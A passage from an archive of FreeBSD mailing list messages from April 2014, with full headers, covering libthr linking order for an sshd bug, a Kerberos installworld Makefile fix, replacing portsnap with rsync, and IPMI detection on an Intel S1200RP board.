>> it likely just to be specific to sshd? > Well. > > The issue with libthr so relying on interposition of libc has already bitten > us more than once. The biggest practical consequence of it is that libthr > cannot be dynamically loaded, it must be linked to the main binary for the > whole construct to work. This means that any program big enough to load > plugins at runtime must link to libthr if it might need to load plugin > linked to libthr. Recently, perl and other programs from ports started > doing just that. > > But this is first time I see interposing so broken due to wrong linking > order, esp. in the base system. > > The correct solution is to merge libthr into libc. Some neccessary > preparations were already done, but the main work did not started yet. > This is huge efforts, and it probably should be coordinated with some > other ABI changes planed for libthr to support process-shared locks. Eek, no, I don't think that is necessary. When we go to using real structs instead of pointers for synchronization types (mutex, CV) in libthr, then I don't think there will be a problem. -- DE From owner-freebsd-hackers@FreeBSD.ORG Fri Apr 11 18:10:06 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id C9BB2D5B for ; Fri, 11 Apr 2014 18:10:06 +0000 (UTC) Received: from mail-qc0-x233.google.com (mail-qc0-x233.google.com [IPv6:2607:f8b0:400d:c01::233]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 8F99D1A86 for ; Fri, 11 Apr 2014 18:10:06 +0000 (UTC) Received: by mail-qc0-f179.google.com with SMTP id m20so6277750qcx.24 for ; Fri, 11 Apr 2014 11:10:05 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:sender:date:message-id:subject:from:to:content-type; bh=OjKChS2x2uINttZd/R13nsoGlhUHAtMeM/L7lXAldAo=; b=xYHe6trUS1kdYaZJikUOtStSkRvXFe5vTW5zgKkWrIH6cxlKkIKSzS8Du4Mqq3QxYi MCCEk3X4YjtzeYmOZCH2vBbrraU9phbstmSJhnMDYG8tCsIHRkR7Nx5LUPc8+Xvs2qjz sPVqNY311L2OraHcsDwy0rbLQES1rarbzyIdWiLYo380/I0hLm/UsG2/o4Rnw+aB2LUc tE6wGYeXyzpOj+7F90ZGHkD0K5nG+SJe03pCl3t+PHVCaD5QidIpmRJaABEU+x5b92f4 U+hg62Ok16zYvvf2du/eLK/0yshcvzv3u5fEKCFwLDK7Ms7bhGPGxlO6rq+1WP0HOWDF BxqA== MIME-Version: 1.0 X-Received: by 10.224.65.194 with SMTP id k2mr844854qai.59.1397239805790; Fri, 11 Apr 2014 11:10:05 -0700 (PDT) Sender: carpeddiem@gmail.com Received: by 10.140.88.105 with HTTP; Fri, 11 Apr 2014 11:10:05 -0700 (PDT) Date: Fri, 11 Apr 2014 14:10:05 -0400 X-Google-Sender-Auth: LISMNvc9ogWGt9Xoxu38RR5RqAE Message-ID: Subject: kerberos installworld woes, continued From: Ed Maste To: freebsd-hackers@freebsd.org Content-Type: text/plain; charset=ISO-8859-1 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Apr 2014 18:10:06 -0000 I recently ran into a reproducible kerberos-related installworld failure in one of my trees. The install fails at: cmp -s krb5_asn1.hx krb5_asn1.h 2> /dev/null || cp krb5_asn1.hx krb5_asn1.h cp: not found Ian Lepore mentioned encountering this in 2012 on freebsd-embedded, and think there have been other reports elsewhere. My case was caused by having a newer krb5_asn1.hx file in the source tree, but with the same content as the krb5_asn1.h copy. This can happen fairly easily with git, when switching between and rebasing various branches. During the buildworld the cmp returns true, so the .h file isn't copied over. Then at installworld the cmp test fails as cmp is not in the temporary path. The cp is invoked, which fails as it is also not in the path. If r262209 fixes the underlying concurrency issue we should be able to drop the cmp completely -- any concerns with this change: diff --git a/kerberos5/lib/libasn1/ Makefile b/kerberos5/lib/libasn1/Makefile index b0f969a..dc1de5c 100644 --- a/kerberos5/lib/libasn1/Makefile +++ b/kerberos5/lib/libasn1/Makefile @@ -112,10 +112,10 @@ ${GEN_KX509}: kx509.asn1 .SUFFIXES: .h .c .x .hx .x.c: - cmp -s ${.IMPSRC} ${.TARGET} 2> /dev/null || cp ${.IMPSRC} ${.TARGET} + cp ${.IMPSRC} ${.TARGET} .hx.h: - cmp -s ${.IMPSRC} ${.TARGET} 2> /dev/null || cp ${.IMPSRC} ${.TARGET} + cp ${.IMPSRC} ${.TARGET} .include From owner-freebsd-hackers@FreeBSD.ORG Fri Apr 11 18:04:46 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 9821DCB0 for ; Fri, 11 Apr 2014 18:04:46 +0000 (UTC) Received: from mail.modirum.com (mail.modirum.com [31.185.27.10]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 5636F1A3B for ; Fri, 11 Apr 2014 18:04:45 +0000 (UTC) Received: from 93-153-61-159.tmcz.cz ([93.153.61.159] helo=desktop.reztek) by mail.modirum.com with esmtpsa (TLSv1:DHE-RSA-AES256-SHA:256) (Exim 4.80.1 (FreeBSD)) (envelope-from ) id 1WYfob-000PXT-8v for freebsd-hackers@freebsd.org; Fri, 11 Apr 2014 18:04:37 +0000 From: Matthew Rezny To: freebsd-hackers@freebsd.org Subject: Re: MITM attacks against portsnap and freebsd-update Date: Fri, 11 Apr 2014 20:04:35 +0200 Message-ID: <2012148.SzKMgBGQYg@desktop.reztek> Organization: RezTek, s.r.o. User-Agent: KMail/4.12.3 (FreeBSD/10.0-STABLE; KDE/4.12.3; amd64; ; ) In-Reply-To: MIME-Version: 1.0 Content-Transfer-Encoding: 7Bit Content-Type: text/plain; charset="us-ascii" X-SA-Authenticated: Yes X-SA-Exim-Connect-IP: 93.153.61.159 X-SA-Exim-Mail-From: matthew@reztek.cz X-SA-Exim-Scanned: No (on mail.modirum.com); SAEximRunCond expanded to false X-Mailman-Approved-At: Fri, 11 Apr 2014 18:18:58 +0000 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Apr 2014 18:04:46 -0000 > Retiring Portsnap > > With the inclusion of svnlite in 10 I think the valid question comes > up as to whether we really need the portsnap system or whether it > could be safely retired. Obviously if the conclusion of that > discussion is that we don't need it then these bug fixes would be > unnecessary. > > The reason I see for it to be retired is that subversion allows us to > easily and securely check out the ports tree. It's a one-line command: > `svn co https://...`. Keeping it up-to-date it is another one-liner: > `cd /usr/ports; svn update`. With the inclusion of svnlite in base, > the portsnap code and servers acting as mirrors become redundant and > seem like a waste of resources. The inclusion of svnlite is more a replacement for CVSup/csup than it is a replacement for portsnap. They serve different use cases. SVNlite (and csup before it) allow hackers to fetch both src and ports trees at any point in time. Portsnap gives the end user, who only wishes to build ports but never modify them, a fast way to fetch and update the ports tree. I used CVSup for years and was very thankful when we got csup in base, thus alleviating the need to do the dance of extract the ports tarball, install CVSup (without X11 but with lots of other deps) and then checkout the ports tree. SVNlite was a necessity to replace csup for those who wish to do a checkout. It even has benefits over csup; svnlite makes it much easier to maintain local patches in the ports tree. However, it has a major drawback too; it's slooooww. The main advantage of portsnap over csup was the speed of the fetch and extract. SVNlite is much slower than csup for initial checkout. I agree portsnap could be replaced, but SVNlite isn't the answer. Instead, I suggest rsync. Rsync is fast to do the initial fetch and even faster to do the update. Setting up a few rsync servers that host the current version of the ports tree (and /usr/src too) would be trivial. There are other projects using rsync exactly for this purpose (e.g. Gentoo Linux, macports) for quite some time. The biggest effort would be adding rsync to base, but being that we have svn(lite) in base it should not be a big deal to add rsync. The only reasons I see it as any effort is that the license is non-ideal (so it will take some convincing) and SSL/TLS support is not yet mainstream, so we would need to maintain patches or push those for inclusion upstream. As an alternative, or in addition to, SSL/TLS support for the TCP connection, the trees could be fetched not as thousand of files, but as a couple tar files (src.tar and ports.tar), the hashes of which could be verified before extraction. Those tar files should be uncompressed in order to allow the rsync algorithm to work its magic during updates. For best performance in all cases, the initial fetch could download (or copy from install media) tar.xz files, which, after hash verification, are decompressed and extracted in separate steps, saving the uncompressed tar files for subsequent updates. Then each update is a matter of rsync the tar files, verify the new hashes, and extract into the final destination. It would be a bonus if the scripts to do this optionally triggered a snapshot before extraction to allow easy rollback. From owner-freebsd-hackers@FreeBSD.ORG Fri Apr 11 18:39:55 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id EB08BF1A; Fri, 11 Apr 2014 18:39:54 +0000 (UTC) Received: from kib.kiev.ua (kib.kiev.ua [IPv6:2001:470:d5e7:1::1]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 8A69C1DD3; Fri, 11 Apr 2014 18:39:54 +0000 (UTC) Received: from tom.home (kostik@localhost [127.0.0.1]) by kib.kiev.ua (8.14.8/8.14.8) with ESMTP id s3BIdnwQ028167; Fri, 11 Apr 2014 21:39:49 +0300 (EEST) (envelope-from kostikbel@gmail.com) DKIM-Filter: OpenDKIM Filter v2.8.3 kib.kiev.ua s3BIdnwQ028167 Received: (from kostik@localhost) by tom.home (8.14.8/8.14.8/Submit) id s3BIdne2028166; Fri, 11 Apr 2014 21:39:49 +0300 (EEST) (envelope-from kostikbel@gmail.com) X-Authentication-Warning: tom.home: kostik set sender to kostikbel@gmail.com using -f Date: Fri, 11 Apr 2014 21:39:49 +0300 From: Konstantin Belousov To: Daniel Eischen Subject: Re: Stuck CLOSED sockets / sshd / zombies... Message-ID: <20140411183949.GX21331@kib.kiev.ua> References: <20140409111917.GH21331@kib.kiev.ua> <851413886E3982D2CCFEA9D9@Mail-PC.tdx.co.uk> <20140410184855.GP21331@kib.kiev.ua> <211BD03C086DDB1A07FDF036@Mail-PC.tdx.co.uk> <20140411131649.GR21331@kib.kiev.ua> <652B8CA4866C0B9E4650430B@Mail-PC.tdx.co.uk> <20140411141526.GT21331@kib.kiev.ua> <464979E8F6FCBD7EA7DAA38B@Mail-PC.tdx.co.uk> <20140411160628.GV21331@kib.kiev.ua> MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="ezezolMAAIf/M2F2" Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.23 (2014-03-12) X-Spam-Status: No, score=-2.0 required=5.0 tests=ALL_TRUSTED,BAYES_00, DKIM_ADSP_CUSTOM_MED,FREEMAIL_FROM,NML_ADSP_CUSTOM_MED autolearn=no autolearn_force=no version=3.4.0 X-Spam-Checker-Version: SpamAssassin 3.4.0 (2014-02-07) on tom.home Cc: freebsd-hackers@freebsd.org, Karl Pielorz X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Apr 2014 18:39:55 -0000 --ezezolMAAIf/M2F2 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Fri, Apr 11, 2014 at 01:23:00PM -0400, Daniel Eischen wrote: > On Fri, 11 Apr 2014, Konstantin Belousov wrote: > > The correct solution is to merge libthr into libc. Some neccessary > > preparations were already done, but the main work did not started yet. > > This is huge efforts, and it probably should be coordinated with some > > other ABI changes planed for libthr to support process-shared locks. >=20 > Eek, no, I don't think that is necessary. When we go to using real > structs instead of pointers for synchronization types (mutex, CV) > in libthr, then I don't think there will be a problem. Could you, please, clarify what do you consider not neccessary ? The merge, the (unrelated) ABI change, or coordination ? BTW, below is the updated patch with the workaround for sshd issue. diff --git a/secure/usr.sbin/sshd/Makefile b/secure/usr.sbin/sshd/Makefile index 4f730a9..b3231a4 100644 --- a/secure/usr.sbin/sshd/Makefile +++ b/secure/usr.sbin/sshd/Makefile @@ -57,6 +57,12 @@ CFLAGS+=3D -DNONE_CIPHER_ENABLED DPADD+=3D ${LIBCRYPT} ${LIBCRYPTO} ${LIBZ} LDADD+=3D -lcrypt -lcrypto -lz =20 +# put the threading library last +.if ${MK_KERBEROS_SUPPORT} !=3D "no" +DPADD+=3D ${LIBPTHREAD} +LDADD+=3D -lpthread +.endif + .if defined(LOCALBASE) CFLAGS+=3D -DXAUTH_PATH=3D\"${LOCALBASE}/bin/xauth\" .endif --ezezolMAAIf/M2F2 Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.22 (FreeBSD) iQIcBAEBAgAGBQJTSDb0AAoJEJDCuSvBvK1BZDAQAIY++mRAuxzaJPxOimZVvaeG RS7C0D59si8OsFh9PAISnM4bWPT53io0WSou9nb0u32QDL1hfCtFuTk6nlfFDdbm aY5C/LvXW93GKZBlpBnVGEkxDSNuHzOHyAzMDbxAerk57ygc6fD0dWJKHK99GIXi YL2XfooSjQ4InLDaSTmxrG9GVBZxH1bZl3w6IN4Ptsabdfl3dlfYsj0arbd36H8d xfQGjT4SmltauO4ifEcD4gQbv+owmpmdEKYk+ft6Rhk3nAFDU30TJrDltBYT3AXu xQWo7VnrLbRqAUGmjJQwPB7kHh6xHst0LNMQcN/pgYb/MVU9NDGWoUVKgmlT2b4s p+t5NS/OPhdq8qx2RRNRLLy2kG6JCYRL+z1fyQt+6Kx73GmmLGKRGqvSvAg4k30n fiTTheliXR58AFVwtGakDXORZPXGgjYP4QcWHjN7ydi1d86sjfEHmjPATp9mQz3e KLtKByNTBrJZh+bWnrMIOhZnA3O3eJub3A6rU2m3zLHSnvhm6OrtYv7/hqMsvn/d 7jLHgFsEZRPLWvaikZMcfBMkOVyjAXbTSn6HvIZ51SBMTMi/jRtkdJo37YJ49RVA OLVHQ8aFo8NgQhmStWech55c7Xj9UwpMi7fWIno5ZP0EtlQ1sI6qWKD3+/jHh15o 5RnwGk0Tttf3Lz1Wrwc0 =I1EY -----END PGP SIGNATURE----- --ezezolMAAIf/M2F2-- From owner-freebsd-hackers@FreeBSD.ORG Fri Apr 11 18:42:54 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id B1522384; Fri, 11 Apr 2014 18:42:54 +0000 (UTC) Received: from mail-qa0-x22c.google.com (mail-qa0-x22c.google.com [IPv6:2607:f8b0:400d:c00::22c]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 5D58C1FBC; Fri, 11 Apr 2014 18:42:54 +0000 (UTC) Received: by mail-qa0-f44.google.com with SMTP id hw13so5763480qab.31 for ; Fri, 11 Apr 2014 11:42:52 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=psC75WUc1jYuHQo/ypDoAcFOKqU7gjsly/HgMBsAWRc=; b=FQ+T2wGvG7RPBBKsPaKLmnmsmnFf+t2pnEknXEHycM7olPQ2cmV8FkfgttNjGkBLtL 3yFGyn1U5z4JOPE+o3LoJgk5mZ0UC9g3/MxCJCEjgP5mNHkf2H4h3p5Rwap2qKD2VI40 +3fz6VFt+PpoBUFcsom0hlLaHW5Fv4cXLvaug+6xjILXiBIOzE+z6wQGZEfOTndRAc26 JTqiYen64VXJNXtKzDYRn5JPMVqQCOnVtxtnnPHwQECuppHtnmNk+SXRc7vjYznzFXAp uYWlMgzF1ErZPS5DPpsx5L9calEGwY6PXJzN0ErN0zvepUmBQ9YqHPuEtvfqff9eyWi4 4bwQ== MIME-Version: 1.0 X-Received: by 10.224.123.142 with SMTP id p14mr5310795qar.10.1397241772679; Fri, 11 Apr 2014 11:42:52 -0700 (PDT) Received: by 10.140.92.56 with HTTP; Fri, 11 Apr 2014 11:42:52 -0700 (PDT) In-Reply-To: <1397232539.1434.6.camel@powernoodle.corp.yahoo.com> References: <1397156847.1088.11.camel@powernoodle.corp.yahoo.com> <1397232539.1434.6.camel@powernoodle.corp.yahoo.com> Date: Fri, 11 Apr 2014 22:42:52 +0400 Message-ID: Subject: Re: IPMI is broken on Intel S1200RP Board From: Vladimir Laskov To: Sean Bruno Content-Type: text/plain; charset=ISO-8859-1 X-Content-Filtered-By: Mailman/MimeDel 2.1.17 Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Apr 2014 18:42:54 -0000 links https://bitbucket.org/weec/docs/downloads/dmesg_verbose_boot.log https://bitbucket.org/weec/docs/downloads/intel_s1200rp.dsdt On Fri, Apr 11, 2014 at 8:08 PM, Sean Bruno wrote: > On Fri, 2014-04-11 at 07:47 +0400, venom wrote: > > ppc1: cannot reserve I/O port range > > pcib0: allocated type 4 (0x60-0x60) for rid 0 of atkbdc0 > > pcib0: allocated type 4 (0x64-0x64) for rid 1 of atkbdc0 > > atkbdc0: AT keyboard controller not found > > pcib0: allocated type 4 (0x3f0-0x3f5) for rid 0 of fdc0 > > pcib0: allocated type 4 (0x3f7-0x3f7) for rid 1 of fdc0 > > ppc0: cannot reserve I/O port range > > pci0: driver added > > found-> vendor=0x8086, dev=0x8c22, revid=0x05 > > domain=0, bus=0, slot=31, func=3 > > class=0c-05-00, hdrtype=0x00, mfdev=0 > > cmdreg=0x0143, statreg=0x0280, cachelnsz=0 (dwords) > > lattimer=0x00 (0 ns), mingnt=0x00 (0 ns), maxlat=0x00 (0 ns) > > intpin=c, irq=18 > > pci0:0:31:3: reprobing on driver added > > found-> vendor=0x8086, dev=0x8c24, revid=0x05 > > domain=0, bus=0, slot=31, func=6 > > class=11-80-00, hdrtype=0x00, mfdev=0 > > cmdreg=0x0006, statreg=0x0010, cachelnsz=0 (dwords) > > lattimer=0x00 (0 ns), mingnt=0x00 (0 ns), maxlat=0x00 (0 ns) > > intpin=c, irq=18 > > powerspec 3 supports D0 D3 current D0 > > MSI supports 1 message > > pci0:0:31:6: reprobing on driver added > > pci1: driver added > > pci2: driver added > > pci0: driver added > > found-> vendor=0x8086, dev=0x8c22, revid=0x05 > > domain=0, bus=0, slot=31, func=3 > > class=0c-05-00, hdrtype=0x00, mfdev=0 > > cmdreg=0x0143, statreg=0x0280, cachelnsz=0 (dwords) > > lattimer=0x00 (0 ns), mingnt=0x00 (0 ns), maxlat=0x00 (0 ns) > > intpin=c, irq=18 > > pci0:0:31:3: reprobing on driver added > > found-> vendor=0x8086, dev=0x8c24, revid=0x05 > > domain=0, bus=0, slot=31, func=6 > > class=11-80-00, hdrtype=0x00, mfdev=0 > > cmdreg=0x0006, statreg=0x0010, cachelnsz=0 (dwords) > > lattimer=0x00 (0 ns), mingnt=0x00 (0 ns), maxlat=0x00 (0 ns) > > intpin=c, irq=18 > > powerspec 3 supports D0 D3 current D0 > > MSI supports 1 message > > pci0:0:31:6: reprobing on driver added > > pci1: driver added > > pci2: driver added > > > > > I don't see an attach here, so I assume that something is "new" in the > acpi tables on this board. Can you dump the ACPI table somewhere > "acpidump -dt > intel_s1200rp.dsdt" and post it somewhere we can look at > it? > > freebsd.org mailing lists will strip attachments in most cases, so a > pastebin or other link would be best. > > sean > > From owner-freebsd-hackers@FreeBSD.ORG Fri Apr 11 19:12:44 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id AFB97EA8; Fri, 11 Apr 2014 19:12:44 +0000 (UTC) Received: from mail.ignoranthack.me (ujvl.x.rootbsd.net [199.102.79.106]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 887771285; Fri, 11 Apr 2014 19:12:44 +0000 (UTC) Received: from [10.73.160.242] (nat-dip7.cfw-a-gci.corp.yahoo.com [209.131.62.116]) (using SSLv3 with cipher DHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) (Authenticated sender: sbruno@ignoranthack.me) by mail.ignoranthack.me (Postfix) with ESMTPSA id EE48B1929A9; Fri, 11 Apr 2014 19:12:42 +0000 (UTC) Subject: Re: IPMI is broken on Intel S1200RP Board From: Sean Bruno To: Vladimir Laskov In-Reply-To: References: <1397156847.1088.11.camel@powernoodle.corp.yahoo.com> <1397232539.1434.6.camel@powernoodle.corp.yahoo.com> Content-Type: multipart/signed; micalg="pgp-sha1"; protocol="application/pgp-signature"; boundary="=-5ATc6oB1mGJBQaFyjVCK" Date: Fri, 11 Apr 2014 12:12:41 -0700 Message-ID: <1397243561.1434.74.camel@powernoodle.corp.yahoo.com> Mime-Version: 1.0 X-Mailer: Evolution 2.32.1 FreeBSD GNOME Team Port X-Mailman-Approved-At: Fri, 11 Apr 2014 19:49:01 +0000 Cc: freebsd-acpi X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list Reply-To: sbruno@freebsd.org List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Apr 2014 19:12:44 -0000 --=-5ATc6oB1mGJBQaFyjVCK Content-Type: text/plain; charset="UTF-8" Content-Transfer-Encoding: quoted-printable On Fri, 2014-04-11 at 22:42 +0400, Vladimir Laskov wrote: >=20 >=20 > links > https://bitbucket.org/weec/docs/downloads/dmesg_verbose_boot.log > https://bitbucket.org/weec/docs/downloads/intel_s1200rp.dsdt >=20 >=20 Wanted to xpost this over to freebsd-acpi too. Since it looks to me that the IPMI driver isn't getting invoked, I assume that its because of a variance in ACPI parsing of the relevant IPMI section. sean >=20 > On Fri, Apr 11, 2014 at 8:08 PM, Sean Bruno > wrote: > On Fri, 2014-04-11 at 07:47 +0400, venom wrote: > > ppc1: cannot reserve I/O port range > > pcib0: allocated type 4 (0x60-0x60) for rid 0 of atkbdc0 > > pcib0: allocated type 4 (0x64-0x64) for rid 1 of atkbdc0 > > atkbdc0: AT keyboard controller not found > > pcib0: allocated type 4 (0x3f0-0x3f5) for rid 0 of fdc0 > > pcib0: allocated type 4 (0x3f7-0x3f7) for rid 1 of fdc0 > > ppc0: cannot reserve I/O port range > > pci0: driver added > > found-> vendor=3D0x8086, dev=3D0x8c22, revid=3D0x05 > > domain=3D0, bus=3D0, slot=3D31, func=3D3 > > class=3D0c-05-00, hdrtype=3D0x00, mfdev=3D0 > > cmdreg=3D0x0143, statreg=3D0x0280, cachelnsz=3D0 (dwords) > > lattimer=3D0x00 (0 ns), mingnt=3D0x00 (0 ns), maxlat=3D0x00 (0 = ns) > > intpin=3Dc, irq=3D18 > > pci0:0:31:3: reprobing on driver added > > found-> vendor=3D0x8086, dev=3D0x8c24, revid=3D0x05 > > domain=3D0, bus=3D0, slot=3D31, func=3D6 > > class=3D11-80-00, hdrtype=3D0x00, mfdev=3D0 > > cmdreg=3D0x0006, statreg=3D0x0010, cachelnsz=3D0 (dwords) > > lattimer=3D0x00 (0 ns), mingnt=3D0x00 (0 ns), maxlat=3D0x00 (0 = ns) > > intpin=3Dc, irq=3D18 > > powerspec 3 supports D0 D3 current D0 > > MSI supports 1 message > > pci0:0:31:6: reprobing on driver added > > pci1: driver added > > pci2: driver added > > pci0: driver added > > found-> vendor=3D0x8086, dev=3D0x8c22, revid=3D0x05 > > domain=3D0, bus=3D0, slot=3D31, func=3D3 > > class=3D0c-05-00, hdrtype=3D0x00, mfdev=3D0 > > cmdreg=3D0x0143, statreg=3D0x0280, cachelnsz=3D0 (dwords) > > lattimer=3D0x00 (0 ns), mingnt=3D0x00 (0 ns), maxlat=3D0x00 (0 = ns) > > intpin=3Dc, irq=3D18 > > pci0:0:31:3: reprobing on driver added > > found-> vendor=3D0x8086, dev=3D0x8c24, revid=3D0x05 > > domain=3D0, bus=3D0, slot=3D31, func=3D6 > > class=3D11-80-00, hdrtype=3D0x00, mfdev=3D0 > > cmdreg=3D0x0006, statreg=3D0x0010, cachelnsz=3D0 (dwords) > > lattimer=3D0x00 (0 ns), mingnt=3D0x00 (0 ns), maxlat=3D0x00 (0 = ns) > > intpin=3Dc, irq=3D18 > > powerspec 3 supports D0 D3 current D0 > > MSI supports 1 message > > pci0:0:31:6: reprobing on driver added > > pci1: driver added > > pci2: driver added > > > =20 > =20 > =20 > I don't see an attach here, so I assume that something is > "new" in the > acpi tables on this board. Can you dump the ACPI table > somewhere > "acpidump -dt > intel_s1200rp.dsdt" and post it somewhere we > can look at > it? > =20 > freebsd.org mailing lists will strip attachments in most > cases, so a > pastebin or other link would be best. > =20 > sean > =20 >=20 >=20 --=-5ATc6oB1mGJBQaFyjVCK Content-Type: application/pgp-signature; name="signature.asc" Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1 iQEcBAABAgAGBQJTSD6pAAoJEBkJRdwI6BaHT+cH/3OHljDlIC8a5bskisdpkJAT WoF5pLf8vL9cN5ifapbiKkLhoQJzg2biYnsj7LegI0/s1esRiHCgvvUbOVQ/Kn7t /7UioyW0hbQQKN1mpUEwRpAcg5ZTHvYI93VhebzQF0O65/WUqeNyp0etfS5HzCZG sFjjuQGNICMZZUkBxP4915Ac1yUwTRdAIeTRcYs1z5iy94h4GJMSywEnDxDxXLUF JSOEXwCwbFJ3UEZXVw16L8YaFh3WZjrTZsSQhTA5+H2zCLxKWmtuVgiASan40NdY GI4KkTmo5sNM7rRiqNxgljDs2PzeVl4ino9MZDgmA106XB/giOwYXrgN4CuDHqQ= =+8+F -----END PGP SIGNATURE----- --=-5ATc6oB1mGJBQaFyjVCK-- From owner-freebsd-hackers@FreeBSD.ORG Fri Apr 11 19:50:09 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id D4ADDB8B for ; Fri, 11 Apr 2014 19:50:09 +0000 (UTC) Received: from mail.netplex.net (mail.netplex.net [204.213.176.9]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client CN "*.netplex.net", Issuer "RapidSSL CA" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 68D8415DF for ; Fri, 11 Apr 2014 19:50:09 +0000 (UTC) Received: from sea.ntplx.net (sea.ntplx.net [204.213.176.11]) by mail.netplex.net (8.14.8/8.14.8/NETPLEX) with ESMTP id s3BJo7dC063686; Fri, 11 Apr 2014 15:50:07 -0400 X-Virus-Scanned: by AMaViS and Clam AntiVirus (mail.netplex.net) X-Greylist: Message whitelisted by DRAC access database, not delayed by milter-greylist-4.4.3 (mail.netplex.net [204.213.176.9]); Fri, 11 Apr 2014 15:50:07 -0400 (EDT) Date: Fri, 11 Apr 2014 15:50:07 -0400 (EDT) From: Daniel Eischen X-X-Sender: eischen@sea.ntplx.net To: Konstantin Belousov Subject: Re: Stuck CLOSED sockets / sshd / zombies... In-Reply-To: <20140411183949.GX21331@kib.kiev.ua> Message-ID: References: <20140409111917.GH21331@kib.kiev.ua> <851413886E3982D2CCFEA9D9@Mail-PC.tdx.co.uk> <20140410184855.GP21331@kib.kiev.ua> <211BD03C086DDB1A07FDF036@Mail-PC.tdx.co.uk> <20140411131649.GR21331@kib.kiev.ua> <652B8CA4866C0B9E4650430B@Mail-PC.tdx.co.uk> <20140411141526.GT21331@kib.kiev.ua> <464979E8F6FCBD7EA7DAA38B@Mail-PC.tdx.co.uk> <20140411160628.GV21331@kib.kiev.ua> <20140411183949.GX21331@kib.kiev.ua> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed Cc: freebsd-hackers@freebsd.org, Karl Pielorz X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list Reply-To: Daniel Eischen List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Apr 2014 19:50:09 -0000 On Fri, 11 Apr 2014, Konstantin Belousov wrote: > On Fri, Apr 11, 2014 at 01:23:00PM -0400, Daniel Eischen wrote: >> On Fri, 11 Apr 2014, Konstantin Belousov wrote: >>> The correct solution is to merge libthr into libc. Some neccessary >>> preparations were already done, but the main work did not started yet. >>> This is huge efforts, and it probably should be coordinated with some >>> other ABI changes planed for libthr to support process-shared locks. >> >> Eek, no, I don't think that is necessary. When we go to using real >> structs instead of pointers for synchronization types 